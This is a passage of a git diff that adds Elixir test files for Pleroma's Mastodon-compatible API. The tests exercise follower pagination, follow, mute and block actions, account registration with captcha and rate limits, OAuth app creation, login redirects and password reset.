conn + |> get("/api/v1/accounts/#{user.id}/followers?since_id=#{follower1_id}") + |> json_response_and_validate_schema(200) + + assert [%{"id" => ^follower2_id}, %{"id" => ^follower1_id}] = + conn + |> get("/api/v1/accounts/#{user.id}/followers?max_id=#{follower3_id}") + |> json_response_and_validate_schema(200) + + assert [%{"id" => ^follower2_id}, %{"id" => ^follower1_id}] = + conn + |> get( + "/api/v1/accounts/#{user.id}/followers?id=#{user.id}&limit=20&max_id=#{ + follower3_id + }" + ) + |> json_response_and_validate_schema(200) + + res_conn = get(conn, "/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3_id}") + + assert [%{"id" => ^follower2_id}] = json_response_and_validate_schema(res_conn, 200) + + assert [link_header] = get_resp_header(res_conn, "link") + assert link_header =~ ~r/min_id=#{follower2_id}/ + assert link_header =~ ~r/max_id=#{follower2_id}/ + end + end + + describe "following" do + setup do: oauth_access(["read:accounts"]) + + test "getting following", %{user: user, conn: conn} do + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = get(conn, "/api/v1/accounts/#{user.id}/following") + + assert [%{"id" => id}] = json_response_and_validate_schema(conn, 200) + assert id == to_string(other_user.id) + end + + test "getting following, hide_follows, other user requesting" do + user = insert(:user, hide_follows: true) + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = + build_conn() + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) + |> get("/api/v1/accounts/#{user.id}/following") + + assert [] == json_response_and_validate_schema(conn, 200) + end + + test "getting following, hide_follows, same user requesting" do + user = insert(:user, hide_follows: true) + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = + build_conn() + |> assign(:user, user) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["read:accounts"])) + |> get("/api/v1/accounts/#{user.id}/following") + + refute [] == json_response_and_validate_schema(conn, 200) + end + + test "getting following, pagination", %{user: user, conn: conn} do + following1 = insert(:user) + following2 = insert(:user) + following3 = insert(:user) + {:ok, _} = User.follow(user, following1) + {:ok, _} = User.follow(user, following2) + {:ok, _} = User.follow(user, following3) + + res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}") + + assert [%{"id" => id3}, %{"id" => id2}] = json_response_and_validate_schema(res_conn, 200) + assert id3 == following3.id + assert id2 == following2.id + + res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}") + + assert [%{"id" => id2}, %{"id" => id1}] = json_response_and_validate_schema(res_conn, 200) + assert id2 == following2.id + assert id1 == following1.id + + res_conn = + get( + conn, + "/api/v1/accounts/#{user.id}/following?id=#{user.id}&limit=20&max_id=#{following3.id}" + ) + + assert [%{"id" => id2}, %{"id" => id1}] = json_response_and_validate_schema(res_conn, 200) + assert id2 == following2.id + assert id1 == following1.id + + res_conn = + get(conn, "/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}") + + assert [%{"id" => id2}] = json_response_and_validate_schema(res_conn, 200) + assert id2 == following2.id + + assert [link_header] = get_resp_header(res_conn, "link") + assert link_header =~ ~r/min_id=#{following2.id}/ + assert link_header =~ ~r/max_id=#{following2.id}/ + end + end + + describe "follow/unfollow" do + setup do: oauth_access(["follow"]) + + test "following / unfollowing a user", %{conn: conn} do + %{id: other_user_id, nickname: other_user_nickname} = insert(:user) + + assert %{"id" => _id, "following" => true} = + conn + |> post("/api/v1/accounts/#{other_user_id}/follow") + |> json_response_and_validate_schema(200) + + assert %{"id" => _id, "following" => false} = + conn + |> post("/api/v1/accounts/#{other_user_id}/unfollow") + |> json_response_and_validate_schema(200) + + assert %{"id" => ^other_user_id} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/follows", %{"uri" => other_user_nickname}) + |> json_response_and_validate_schema(200) + end + + test "cancelling follow request", %{conn: conn} do + %{id: other_user_id} = insert(:user, %{locked: true}) + + assert %{"id" => ^other_user_id, "following" => false, "requested" => true} = + conn + |> post("/api/v1/accounts/#{other_user_id}/follow") + |> json_response_and_validate_schema(:ok) + + assert %{"id" => ^other_user_id, "following" => false, "requested" => false} = + conn + |> post("/api/v1/accounts/#{other_user_id}/unfollow") + |> json_response_and_validate_schema(:ok) + end + + test "following without reblogs" do + %{conn: conn} = oauth_access(["follow", "read:statuses"]) + followed = insert(:user) + other_user = insert(:user) + + ret_conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: false}) + + assert %{"showing_reblogs" => false} = json_response_and_validate_schema(ret_conn, 200) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) + {:ok, %{id: reblog_id}} = CommonAPI.repeat(activity.id, followed) + + assert [] == + conn + |> get("/api/v1/timelines/home") + |> json_response(200) + + assert %{"showing_reblogs" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: true}) + |> json_response_and_validate_schema(200) + + assert [%{"id" => ^reblog_id}] = + conn + |> get("/api/v1/timelines/home") + |> json_response(200) + end + + test "following with reblogs" do + %{conn: conn} = oauth_access(["follow", "read:statuses"]) + followed = insert(:user) + other_user = insert(:user) + + ret_conn = post(conn, "/api/v1/accounts/#{followed.id}/follow") + + assert %{"showing_reblogs" => true} = json_response_and_validate_schema(ret_conn, 200) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) + {:ok, %{id: reblog_id}} = CommonAPI.repeat(activity.id, followed) + + assert [%{"id" => ^reblog_id}] = + conn + |> get("/api/v1/timelines/home") + |> json_response(200) + + assert %{"showing_reblogs" => false} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: false}) + |> json_response_and_validate_schema(200) + + assert [] == + conn + |> get("/api/v1/timelines/home") + |> json_response(200) + end + + test "following / unfollowing errors", %{user: user, conn: conn} do + # self follow + conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow") + + assert %{"error" => "Can not follow yourself"} = + json_response_and_validate_schema(conn_res, 400) + + # self unfollow + user = User.get_cached_by_id(user.id) + conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow") + + assert %{"error" => "Can not unfollow yourself"} = + json_response_and_validate_schema(conn_res, 400) + + # self follow via uri + user = User.get_cached_by_id(user.id) + + assert %{"error" => "Can not follow yourself"} = + conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/follows", %{"uri" => user.nickname}) + |> json_response_and_validate_schema(400) + + # follow non existing user + conn_res = post(conn, "/api/v1/accounts/doesntexist/follow") + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) + + # follow non existing user via uri + conn_res = + conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/follows", %{"uri" => "doesntexist"}) + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) + + # unfollow non existing user + conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow") + assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) + end + end + + describe "mute/unmute" do + setup do: oauth_access(["write:mutes"]) + + test "with notifications", %{conn: conn} do + other_user = insert(:user) + + assert %{"id" => _id, "muting" => true, "muting_notifications" => true} = + conn + |> post("/api/v1/accounts/#{other_user.id}/mute") + |> json_response_and_validate_schema(200) + + conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute") + + assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = + json_response_and_validate_schema(conn, 200) + end + + test "without notifications", %{conn: conn} do + other_user = insert(:user) + + ret_conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/accounts/#{other_user.id}/mute", %{"notifications" => "false"}) + + assert %{"id" => _id, "muting" => true, "muting_notifications" => false} = + json_response_and_validate_schema(ret_conn, 200) + + conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute") + + assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = + json_response_and_validate_schema(conn, 200) + end + end + + describe "pinned statuses" do + setup do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) + %{conn: conn} = oauth_access(["read:statuses"], user: user) + + [conn: conn, user: user, activity: activity] + end + + test "returns pinned statuses", %{conn: conn, user: user, activity: %{id: activity_id}} do + {:ok, _} = CommonAPI.pin(activity_id, user) + + assert [%{"id" => ^activity_id, "pinned" => true}] = + conn + |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") + |> json_response_and_validate_schema(200) + end + end + + test "blocking / unblocking a user" do + %{conn: conn} = oauth_access(["follow"]) + other_user = insert(:user) + + ret_conn = post(conn, "/api/v1/accounts/#{other_user.id}/block") + + assert %{"id" => _id, "blocking" => true} = json_response_and_validate_schema(ret_conn, 200) + + conn = post(conn, "/api/v1/accounts/#{other_user.id}/unblock") + + assert %{"id" => _id, "blocking" => false} = json_response_and_validate_schema(conn, 200) + end + + describe "create account by app" do + setup do + valid_params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + agreement: true + } + + [valid_params: valid_params] + end + + test "registers and logs in without :account_activation_required / :account_approval_required", + %{conn: conn} do + clear_config([:instance, :account_activation_required], false) + clear_config([:instance, :account_approval_required], false) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/apps", %{ + client_name: "client_name", + redirect_uris: "urn:ietf:wg:oauth:2.0:oob", + scopes: "read, write, follow" + }) + + assert %{ + "client_id" => client_id, + "client_secret" => client_secret, + "id" => _, + "name" => "client_name", + "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", + "vapid_key" => _, + "website" => nil + } = json_response_and_validate_schema(conn, 200) + + conn = + post(conn, "/oauth/token", %{ + grant_type: "client_credentials", + client_id: client_id, + client_secret: client_secret + }) + + assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = + json_response(conn, 200) + + assert token + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + assert refresh + assert scope == "read write follow" + + clear_config([User, :email_blacklist], ["example.org"]) + + params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + bio: "Test Bio", + agreement: true + } + + conn = + build_conn() + |> put_req_header("content-type", "multipart/form-data") + |> put_req_header("authorization", "Bearer " <> token) + |> post("/api/v1/accounts", params) + + assert %{"error" => "{\"email\":[\"Invalid email\"]}"} = + json_response_and_validate_schema(conn, 400) + + Pleroma.Config.put([User, :email_blacklist], []) + + conn = + build_conn() + |> put_req_header("content-type", "multipart/form-data") + |> put_req_header("authorization", "Bearer " <> token) + |> post("/api/v1/accounts", params) + + %{ + "access_token" => token, + "created_at" => _created_at, + "scope" => ^scope, + "token_type" => "Bearer" + } = json_response_and_validate_schema(conn, 200) + + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + user = Repo.preload(token_from_db, :user).user + + assert user + refute user.confirmation_pending + refute user.approval_pending + end + + test "registers but does not log in with :account_activation_required", %{conn: conn} do + clear_config([:instance, :account_activation_required], true) + clear_config([:instance, :account_approval_required], false) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/apps", %{ + client_name: "client_name", + redirect_uris: "urn:ietf:wg:oauth:2.0:oob", + scopes: "read, write, follow" + }) + + assert %{ + "client_id" => client_id, + "client_secret" => client_secret, + "id" => _, + "name" => "client_name", + "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", + "vapid_key" => _, + "website" => nil + } = json_response_and_validate_schema(conn, 200) + + conn = + post(conn, "/oauth/token", %{ + grant_type: "client_credentials", + client_id: client_id, + client_secret: client_secret + }) + + assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = + json_response(conn, 200) + + assert token + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + assert refresh + assert scope == "read write follow" + + conn = + build_conn() + |> put_req_header("content-type", "multipart/form-data") + |> put_req_header("authorization", "Bearer " <> token) + |> post("/api/v1/accounts", %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + bio: "Test Bio", + agreement: true + }) + + response = json_response_and_validate_schema(conn, 200) + assert %{"identifier" => "missing_confirmed_email"} = response + refute response["access_token"] + refute response["token_type"] + + user = Repo.get_by(User, email: "lain@example.org") + assert user.confirmation_pending + end + + test "registers but does not log in with :account_approval_required", %{conn: conn} do + clear_config([:instance, :account_approval_required], true) + clear_config([:instance, :account_activation_required], false) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/apps", %{ + client_name: "client_name", + redirect_uris: "urn:ietf:wg:oauth:2.0:oob", + scopes: "read, write, follow" + }) + + assert %{ + "client_id" => client_id, + "client_secret" => client_secret, + "id" => _, + "name" => "client_name", + "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", + "vapid_key" => _, + "website" => nil + } = json_response_and_validate_schema(conn, 200) + + conn = + post(conn, "/oauth/token", %{ + grant_type: "client_credentials", + client_id: client_id, + client_secret: client_secret + }) + + assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = + json_response(conn, 200) + + assert token + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + assert refresh + assert scope == "read write follow" + + conn = + build_conn() + |> put_req_header("content-type", "multipart/form-data") + |> put_req_header("authorization", "Bearer " <> token) + |> post("/api/v1/accounts", %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + bio: "Test Bio", + agreement: true, + reason: "I'm a cool dude, bro" + }) + + response = json_response_and_validate_schema(conn, 200) + assert %{"identifier" => "awaiting_approval"} = response + refute response["access_token"] + refute response["token_type"] + + user = Repo.get_by(User, email: "lain@example.org") + + assert user.approval_pending + assert user.registration_reason == "I'm a cool dude, bro" + end + + test "returns error when user already registred", %{conn: conn, valid_params: valid_params} do + _user = insert(:user, email: "lain@example.org") + app_token = insert(:oauth_token, user: nil) + + res = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/accounts", valid_params) + + assert json_response_and_validate_schema(res, 400) == %{ + "error" => "{\"email\":[\"has already been taken\"]}" + } + end + + test "returns bad_request if missing required params", %{ + conn: conn, + valid_params: valid_params + } do + app_token = insert(:oauth_token, user: nil) + + conn = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + |> put_req_header("content-type", "application/json") + + res = post(conn, "/api/v1/accounts", valid_params) + assert json_response_and_validate_schema(res, 200) + + [{127, 0, 0, 1}, {127, 0, 0, 2}, {127, 0, 0, 3}, {127, 0, 0, 4}] + |> Stream.zip(Map.delete(valid_params, :email)) + |> Enum.each(fn {ip, {attr, _}} -> + res = + conn + |> Map.put(:remote_ip, ip) + |> post("/api/v1/accounts", Map.delete(valid_params, attr)) + |> json_response_and_validate_schema(400) + + assert res == %{ + "error" => "Missing field: #{attr}.", + "errors" => [ + %{ + "message" => "Missing field: #{attr}", + "source" => %{"pointer" => "/#{attr}"}, + "title" => "Invalid value" + } + ] + } + end) + end + + test "returns bad_request if missing email params when :account_activation_required is enabled", + %{conn: conn, valid_params: valid_params} do + clear_config([:instance, :account_activation_required], true) + + app_token = insert(:oauth_token, user: nil) + + conn = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + |> put_req_header("content-type", "application/json") + + res = + conn + |> Map.put(:remote_ip, {127, 0, 0, 5}) + |> post("/api/v1/accounts", Map.delete(valid_params, :email)) + + assert json_response_and_validate_schema(res, 400) == + %{"error" => "Missing parameter: email"} + + res = + conn + |> Map.put(:remote_ip, {127, 0, 0, 6}) + |> post("/api/v1/accounts", Map.put(valid_params, :email, "")) + + assert json_response_and_validate_schema(res, 400) == %{ + "error" => "{\"email\":[\"can't be blank\"]}" + } + end + + test "allow registration without an email", %{conn: conn, valid_params: valid_params} do + app_token = insert(:oauth_token, user: nil) + conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token) + + res = + conn + |> put_req_header("content-type", "application/json") + |> Map.put(:remote_ip, {127, 0, 0, 7}) + |> post("/api/v1/accounts", Map.delete(valid_params, :email)) + + assert json_response_and_validate_schema(res, 200) + end + + test "allow registration with an empty email", %{conn: conn, valid_params: valid_params} do + app_token = insert(:oauth_token, user: nil) + conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token) + + res = + conn + |> put_req_header("content-type", "application/json") + |> Map.put(:remote_ip, {127, 0, 0, 8}) + |> post("/api/v1/accounts", Map.put(valid_params, :email, "")) + + assert json_response_and_validate_schema(res, 200) + end + + test "returns forbidden if token is invalid", %{conn: conn, valid_params: valid_params} do + res = + conn + |> put_req_header("authorization", "Bearer " <> "invalid-token") + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/accounts", valid_params) + + assert json_response_and_validate_schema(res, 403) == %{"error" => "Invalid credentials"} + end + + test "registration from trusted app" do + clear_config([Pleroma.Captcha, :enabled], true) + app = insert(:oauth_app, trusted: true, scopes: ["read", "write", "follow", "push"]) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "client_credentials", + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token, "token_type" => "Bearer"} = json_response(conn, 200) + + response = + build_conn() + |> Plug.Conn.put_req_header("authorization", "Bearer " <> token) + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/accounts", %{ + nickname: "nickanme", + agreement: true, + email: "email@example.com", + fullname: "Lain", + username: "Lain", + password: "some_password", + confirm: "some_password" + }) + |> json_response_and_validate_schema(200) + + assert %{ + "access_token" => access_token, + "created_at" => _, + "scope" => "read write follow push", + "token_type" => "Bearer" + } = response + + response = + build_conn() + |> Plug.Conn.put_req_header("authorization", "Bearer " <> access_token) + |> get("/api/v1/accounts/verify_credentials") + |> json_response_and_validate_schema(200) + + assert %{ + "acct" => "Lain", + "bot" => false, + "display_name" => "Lain", + "follow_requests_count" => 0, + "followers_count" => 0, + "following_count" => 0, + "locked" => false, + "note" => "", + "source" => %{ + "fields" => [], + "note" => "", + "pleroma" => %{ + "actor_type" => "Person", + "discoverable" => false, + "no_rich_text" => false, + "show_role" => true + }, + "privacy" => "public", + "sensitive" => false + }, + "statuses_count" => 0, + "username" => "Lain" + } = response + end + end + + describe "create account by app / rate limit" do + setup do: clear_config([:rate_limit, :app_account_creation], {10_000, 2}) + + test "respects rate limit setting", %{conn: conn} do + app_token = insert(:oauth_token, user: nil) + + conn = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + |> Map.put(:remote_ip, {15, 15, 15, 15}) + |> put_req_header("content-type", "multipart/form-data") + + for i <- 1..2 do + conn = + conn + |> post("/api/v1/accounts", %{ + username: "#{i}lain", + email: "#{i}lain@example.org", + password: "PlzDontHackLain", + agreement: true + }) + + %{ + "access_token" => token, + "created_at" => _created_at, + "scope" => _scope, + "token_type" => "Bearer" + } = json_response_and_validate_schema(conn, 200) + + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + token_from_db = Repo.preload(token_from_db, :user) + assert token_from_db.user + end + + conn = + post(conn, "/api/v1/accounts", %{ + username: "6lain", + email: "6lain@example.org", + password: "PlzDontHackLain", + agreement: true + }) + + assert json_response_and_validate_schema(conn, :too_many_requests) == %{ + "error" => "Throttled" + } + end + end + + describe "create account with enabled captcha" do + setup %{conn: conn} do + app_token = insert(:oauth_token, user: nil) + + conn = + conn + |> put_req_header("authorization", "Bearer " <> app_token.token) + |> put_req_header("content-type", "multipart/form-data") + + [conn: conn] + end + + setup do: clear_config([Pleroma.Captcha, :enabled], true) + + test "creates an account and returns 200 if captcha is valid", %{conn: conn} do + %{token: token, answer_data: answer_data} = Pleroma.Captcha.new() + + params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + agreement: true, + captcha_solution: Pleroma.Captcha.Mock.solution(), + captcha_token: token, + captcha_answer_data: answer_data + } + + assert %{ + "access_token" => access_token, + "created_at" => _, + "scope" => "read", + "token_type" => "Bearer" + } = + conn + |> post("/api/v1/accounts", params) + |> json_response_and_validate_schema(:ok) + + assert Token |> Repo.get_by(token: access_token) |> Repo.preload(:user) |> Map.get(:user) + + Cachex.del(:used_captcha_cache, token) + end + + test "returns 400 if any captcha field is not provided", %{conn: conn} do + captcha_fields = [:captcha_solution, :captcha_token, :captcha_answer_data] + + valid_params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + agreement: true, + captcha_solution: "xx", + captcha_token: "xx", + captcha_answer_data: "xx" + } + + for field <- captcha_fields do + expected = %{ + "error" => "{\"captcha\":[\"Invalid CAPTCHA (Missing parameter: #{field})\"]}" + } + + assert expected == + conn + |> post("/api/v1/accounts", Map.delete(valid_params, field)) + |> json_response_and_validate_schema(:bad_request) + end + end + + test "returns an error if captcha is invalid", %{conn: conn} do + params = %{ + username: "lain", + email: "lain@example.org", + password: "PlzDontHackLain", + agreement: true, + captcha_solution: "cofe", + captcha_token: "cofe", + captcha_answer_data: "cofe" + } + + assert %{"error" => "{\"captcha\":[\"Invalid answer data\"]}"} == + conn + |> post("/api/v1/accounts", params) + |> json_response_and_validate_schema(:bad_request) + end + end + + describe "GET /api/v1/accounts/:id/lists - account_lists" do + test "returns lists to which the account belongs" do + %{user: user, conn: conn} = oauth_access(["read:lists"]) + other_user = insert(:user) + assert {:ok, %Pleroma.List{id: list_id} = list} = Pleroma.List.create("Test List", user) + {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) + + assert [%{"id" => list_id, "title" => "Test List"}] = + conn + |> get("/api/v1/accounts/#{other_user.id}/lists") + |> json_response_and_validate_schema(200) + end + end + + describe "verify_credentials" do + test "verify_credentials" do + %{user: user, conn: conn} = oauth_access(["read:accounts"]) + + [notification | _] = + insert_list(7, :notification, user: user, activity: insert(:note_activity)) + + Pleroma.Notification.set_read_up_to(user, notification.id) + conn = get(conn, "/api/v1/accounts/verify_credentials") + + response = json_response_and_validate_schema(conn, 200) + + assert %{"id" => id, "source" => %{"privacy" => "public"}} = response + assert response["pleroma"]["chat_token"] + assert response["pleroma"]["unread_notifications_count"] == 6 + assert id == to_string(user.id) + end + + test "verify_credentials default scope unlisted" do + user = insert(:user, default_scope: "unlisted") + %{conn: conn} = oauth_access(["read:accounts"], user: user) + + conn = get(conn, "/api/v1/accounts/verify_credentials") + + assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = + json_response_and_validate_schema(conn, 200) + + assert id == to_string(user.id) + end + + test "locked accounts" do + user = insert(:user, default_scope: "private") + %{conn: conn} = oauth_access(["read:accounts"], user: user) + + conn = get(conn, "/api/v1/accounts/verify_credentials") + + assert %{"id" => id, "source" => %{"privacy" => "private"}} = + json_response_and_validate_schema(conn, 200) + + assert id == to_string(user.id) + end + end + + describe "user relationships" do + setup do: oauth_access(["read:follows"]) + + test "returns the relationships for the current user", %{user: user, conn: conn} do + %{id: other_user_id} = other_user = insert(:user) + {:ok, _user} = User.follow(user, other_user) + + assert [%{"id" => ^other_user_id}] = + conn + |> get("/api/v1/accounts/relationships?id=#{other_user.id}") + |> json_response_and_validate_schema(200) + + assert [%{"id" => ^other_user_id}] = + conn + |> get("/api/v1/accounts/relationships?id[]=#{other_user.id}") + |> json_response_and_validate_schema(200) + end + + test "returns an empty list on a bad request", %{conn: conn} do + conn = get(conn, "/api/v1/accounts/relationships", %{}) + + assert [] = json_response_and_validate_schema(conn, 200) + end + end + + test "getting a list of mutes" do + %{user: user, conn: conn} = oauth_access(["read:mutes"]) + other_user = insert(:user) + + {:ok, _user_relationships} = User.mute(user, other_user) + + conn = get(conn, "/api/v1/mutes") + + other_user_id = to_string(other_user.id) + assert [%{"id" => ^other_user_id}] = json_response_and_validate_schema(conn, 200) + end + + test "getting a list of blocks" do + %{user: user, conn: conn} = oauth_access(["read:blocks"]) + other_user = insert(:user) + + {:ok, _user_relationship} = User.block(user, other_user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/blocks") + + other_user_id = to_string(other_user.id) + assert [%{"id" => ^other_user_id}] = json_response_and_validate_schema(conn, 200) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/app_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/app_controller_test.exs new file mode 100644 index 000000000..a0b8b126c --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/app_controller_test.exs @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.AppControllerTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Repo + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.Push + + import Pleroma.Factory + + test "apps/verify_credentials", %{conn: conn} do + token = insert(:oauth_token) + + conn = + conn + |> put_req_header("authorization", "Bearer #{token.token}") + |> get("/api/v1/apps/verify_credentials") + + app = Repo.preload(token, :app).app + + expected = %{ + "name" => app.client_name, + "website" => app.website, + "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key) + } + + assert expected == json_response_and_validate_schema(conn, 200) + end + + test "creates an oauth app", %{conn: conn} do + user = insert(:user) + app_attrs = build(:oauth_app) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> assign(:user, user) + |> post("/api/v1/apps", %{ + client_name: app_attrs.client_name, + redirect_uris: app_attrs.redirect_uris + }) + + [app] = Repo.all(App) + + expected = %{ + "name" => app.client_name, + "website" => app.website, + "client_id" => app.client_id, + "client_secret" => app.client_secret, + "id" => app.id |> to_string(), + "redirect_uri" => app.redirect_uris, + "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key) + } + + assert expected == json_response_and_validate_schema(conn, 200) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs new file mode 100644 index 000000000..bf2438fe2 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs @@ -0,0 +1,159 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + + import Pleroma.Factory + import Swoosh.TestAssertions + + describe "GET /web/login" do + setup %{conn: conn} do + session_opts = [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + + conn = + conn + |> Plug.Session.call(Plug.Session.init(session_opts)) + |> fetch_session() + + test_path = "/web/statuses/test" + %{conn: conn, path: test_path} + end + + test "redirects to the saved path after log in", %{conn: conn, path: path} do + app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".") + auth = insert(:oauth_authorization, app: app) + + conn = + conn + |> put_session(:return_to, path) + |> get("/web/login", %{code: auth.token}) + + assert conn.status == 302 + assert redirected_to(conn) == path + end + + test "redirects to the getting-started page when referer is not present", %{conn: conn} do + app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".") + auth = insert(:oauth_authorization, app: app) + + conn = get(conn, "/web/login", %{code: auth.token}) + + assert conn.status == 302 + assert redirected_to(conn) == "/web/getting-started" + end + end + + describe "POST /auth/password, with valid parameters" do + setup %{conn: conn} do + user = insert(:user) + conn = post(conn, "/auth/password?email=#{user.email}") + %{conn: conn, user: user} + end + + test "it returns 204", %{conn: conn} do + assert empty_json_response(conn) + end + + test "it creates a PasswordResetToken record for user", %{user: user} do + token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) + assert token_record + end + + test "it sends an email to user", %{user: user} do + ObanHelpers.perform_all() + token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) + + email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token) + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + end + + describe "POST /auth/password, with nickname" do + test "it returns 204", %{conn: conn} do + user = insert(:user) + + assert conn + |> post("/auth/password?nickname=#{user.nickname}") + |> empty_json_response() + + ObanHelpers.perform_all() + token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) + + email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token) + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + + test "it doesn't fail when a user has no email", %{conn: conn} do + user = insert(:user, %{email: nil}) + + assert conn + |> post("/auth/password?nickname=#{user.nickname}") + |> empty_json_response() + end + end + + describe "POST /auth/password, with invalid parameters" do + setup do + user = insert(:user) + {:ok, user: user} + end + + test "it returns 204 when user is not found", %{conn: conn, user: user} do + conn = post(conn, "/auth/password?email=nonexisting_#{user.email}") + + assert empty_json_response(conn) + end + + test "it returns 204 when user is not local", %{conn: conn, user: user} do + {:ok, user} = Repo.update(Ecto.Changeset.change(user, local: false)) + conn = post(conn, "/auth/password?email=#{user.email}") + + assert empty_json_response(conn) + end + + test "it returns 204 when user is deactivated", %{conn: conn, user: user} do + {:ok, user} = Repo.update(Ecto.Changeset.change(user, deactivated: true, local: true)) + conn = post(conn, "/auth/password?email=#{user.email}") + + assert empty_json_response(conn) + end + end + + describe "DELETE /auth/sign_out" do + test "redirect to root page", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> delete("/auth/sign_out") + + assert conn.status == 302 + assert redirected_to(conn) == "/" + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs new file mode 100644 index 000000000..3e21e6bf1 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs @@ -0,0 +1,209 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma 